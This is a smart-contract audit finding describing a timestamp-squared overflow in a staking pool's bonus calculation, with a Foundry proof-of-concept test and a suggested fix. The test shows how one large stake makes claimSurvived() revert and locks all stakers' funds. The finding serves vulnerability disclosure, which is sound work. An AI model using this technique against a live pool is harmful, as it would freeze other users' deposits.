Root + Impact
Description
-
Normal behavior: after a pool resolves as SURVIVED or EXPIRED, stakers should be able to claim principal plus any earned bonus.
-
I observed that a large accepted stake can later make _bonusShare() overflow. The k=2 bonus score is intended to be stake * (T - entryTime)^2, but the contract evaluates it with large absolute Unix timestamp terms. Those terms can overflow before they cancel.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
@> uint256 contribTime = received * newEntry;
@> uint256 contribTimeSq = received * newEntry * newEntry;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
...
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
...
uint256 T = uint256(outcomeFlaggedAt);
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
...
}
Risk
Likelihood:
-
This occurs when an allowlisted standard ERC20 has sufficiently large raw balances/supply and a staker deposits an amount that fits entry-time accounting but overflows later claim-time accounting.
-
The path uses normal protocol flows: stake, bonus contribution, risk-window observation, and finalization.
Impact:
Proof of Concept
Place this file at test/unit/AcceptedLargeStakeOverflowPoC.t.sol:
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract AcceptedLargeStakeOverflowPoC is BaseConfidencePoolTest {
function testPoC_AcceptedStakeBricksSurvivedClaim() external {
uint256 entry = vm.getBlockTimestamp();
uint256 T = pool.expiry();
uint256 amount = type(uint256).max / (T * T) + 1;
assertLt(amount + ONE, type(uint256).max / (entry * entry), "stake accounting fits");
assertGt(amount + ONE, type(uint256).max / (T * T), "claim expansion overflows");
uint256 dt = T - entry;
assertLt(amount + ONE, type(uint256).max / (dt * dt), "relative score fits");
_stake(alice, amount);
_stake(bob, ONE);
_contributeBonus(carol, 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(T);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(bob);
vm.expectRevert();
pool.claimSurvived();
assertEq(token.balanceOf(address(pool)), amount + ONE + 1);
}
}
Run:
forge test --match-path test/unit/AcceptedLargeStakeOverflowPoC.t.sol -vvv
Expected result:
[PASS] testPoC_AcceptedStakeBricksSurvivedClaim()
This proves that the stake is accepted, the intended relative score fits, and the later claim path reverts due to absolute timestamp expansion. claimExpired() is affected by the same _bonusShare() calculation.
Recommended Mitigation
- uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
- uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
+ // Store and compute using risk-window-relative deltas, not absolute timestamps.
+ uint256 dt = T - effectiveEntry;
+ uint256 userScore = userEligible * dt * dt;
Use aggregate accounting relative to riskWindowStart instead of absolute Unix timestamps. Also cap accepted stake amounts against the same arithmetic domain used during claims.